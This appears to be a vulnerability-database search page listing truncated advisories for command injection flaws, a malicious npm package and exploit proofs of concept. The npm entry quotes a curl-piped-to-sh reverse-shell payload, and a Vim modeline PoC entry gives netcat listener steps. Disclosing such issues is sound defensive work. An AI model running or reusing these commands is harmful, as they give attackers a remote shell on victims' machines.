42835 matches found
Malicious code in internallib_v788 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...
PT-2026-107802
Name of the Vulnerable Software and Affected Versions Magic: The Gathering Arena Windows/Steam client versions 2026.59.30.12801.127931.6 through 2026.60.x Description The application passes a server-supplied URL from a home-screen carousel GoToExternalUrl action directly to the Windows shell usin...
PT-2026-108156
Name of the Vulnerable Software and Affected Versions image optimizer Ruby gem versions 1.3.0 through 1.9.0 Description An OS command injection flaw exists in the identify format function. This occurs when the identify option is enabled, allowing attackers to execute arbitrary commands by providi...
PT-2026-107811
Name of the Vulnerable Software and Affected Versions Brocade Fabric versions prior to 9.2.2d Brocade Fabric versions 10.0.0 through 10.0.0a1 Description Improper handling of specific download protocols allows for the use of unsanitized parameter strings. During the processing of upgrade requests...
CVE-2026-87677: Improper Neutralization of Special Elements used in an OS Command
An OS command injection vulnerability exists in the account management subsystem of Brocade Fabric OS versions before 9.2.2d and 10.0.0 through 10.0.0a1. When an administrator initiates an account deletion, the system invokes an internal maintenance routine to clean up cryptographic keys associat...
PT-2026-107817
An OS command injection vulnerability exists in the PAM Pluggable Authentication Module session cleanup routines during SSH session termination on Brocade Fabric OS versions before 9.2.2d and 10.0.0 through 10.0.0a1. An authenticated user authenticating via an external directory or AAA service...
CVE-2026-107704: Improper Neutralization of Special Elements used in an OS Command
The imageoptimizer Ruby gem 1.3.0 through 1.9.0 contains an OS command injection vulnerability in ImageOptimizeridentifyformat that allows attackers to execute commands by supplying a crafted image path when the identify option is enabled. Attackers controlling the path, such as an uploaded file...
shell-quote npm Code Execution
The vulnerability of the quote function in the shell-quote npm package is related to the lack of measures taken to neutralize special elements. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...
CVE-2026-87662: Improper Neutralization of Special Elements used in an OS Command
Brocade Fabric versions before 9.2.2d and 10.0.0 through 10.0.0a1 handling of specific download protocols utilizes unsanitized parameter strings. When processing upgrade requests, parameters are converted into system command strings and executed through a system shell interface. Because control...
EUVD-2026-92804
Docling has arbitrary file read/write and command execution when shell-escape is enabled when rendering untrusted TikZ with the opt-in Tectonic engine...
GHSA-X3Q2-H9HX-4R4J Docling has arbitrary file read/write (and command execution when shell-escape is enabled) when rendering untrusted TikZ with the opt-in Tectonic engine
Summary When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine LatexBackendOptionstikzengine="tectonic", the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can re...
SUSE CVE-2026-101258
A flaw was found in Ghostscript. When Ghostscript renders a crafted PostScript or EPS document, it can bypass the -dSAFER sandbox and execute arbitrary shell commands in the context of the Ghostscript process. The issue chains memory corruption in document parsing with disabling of internal path...
ish
iSH Un proyecto para ejecutar un shell de Linux en iOS, utilizando emulación x86 en modo usuario y traducción de llamadas al sistema. Para el estado actual del proyecto, consulta la pestaña de issues y los registros de commits. Página de App Store Beta de TestFlight Servidor de Discord Wiki con...
EUVD-2026-93571
Quasar Framework: SSR/SSG dev error page discloses the full shell environment and its escape is bypassable...
Security Bulletin: IBM Bob is vulnerable to Remote Code Execution due to improper control of workspace-defined MCP server execution (CVE-2026-9764)
Summary IBM Bob could allow a remote attacker to execute arbitrary code when a user opens an untrusted repository in Bob Shell. Due to insufficient validation of workspace-provided MCP server configurations, MCP servers defined within the repository could be automatically executed without explici...
ace-vim-neovim
ace-vim-neovim Ejecución de código arbitrario en Vim/Neovim mediante modelines CVE-2019-12735 Uso 1. escucha nc -vlp 9999 2. ejecuta vim pocshell.txt Y entonces, tu localhost obtendrá una shell...
CLSA-2026-1791359284 TuxCare security update for shell-quote (1 CVE)
TuxCare rebuilt shell-quote to address 1 CVE. Fixed in 1.8.3-tuxcare.1...
Exploit for CVE-2026-102422
CVE-2026-102422 POC Proof of concept for GHSA-pqg4-j6r4-53mv...
CVE-2026-106059: Improper Neutralization of Special Elements used in an OS Command
GitAhead through 2.7.1 on macOS contains a command injection vulnerability that allows attackers to execute shell commands by crafting repository filenames interpolated unescaped into the Show in Finder AppleScript. Attackers can commit a file whose path contains a double quote followed by a do...